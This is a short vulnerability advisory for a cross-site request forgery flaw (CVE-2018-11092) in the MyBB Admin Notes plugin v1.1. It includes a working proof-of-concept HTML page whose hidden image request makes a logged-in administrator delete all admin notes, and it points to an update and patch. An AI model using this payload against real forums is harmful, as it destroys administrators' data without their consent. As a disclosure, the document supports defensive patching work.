MyBB Admin Notes Plugin v1.1 - Cross-Site Request Forgery
#1
# Exploit Title: MyBB Admin Notes Plugin - CSRF
# Date: 2018-05-14
# Author: 0xB9
# Contact: @0xB9 or 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?acti...w&pid=1106
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-11092


1. Description:
The plugin allows administrators to save notes and display them in a list in the ACP. The CSRF allows an attacker to remotely delete all admin notes.


2. Proof of Concept:
<html>
   <body>
       <img style="display:none" src="http://localhost/mybb/admin/index.php?empty=table" alt="">
   </body>
</html>


3. Solution:
Update to the latest release

Patch: https://github.com/vintagedaddyo/MyBB_Pl...diff=split



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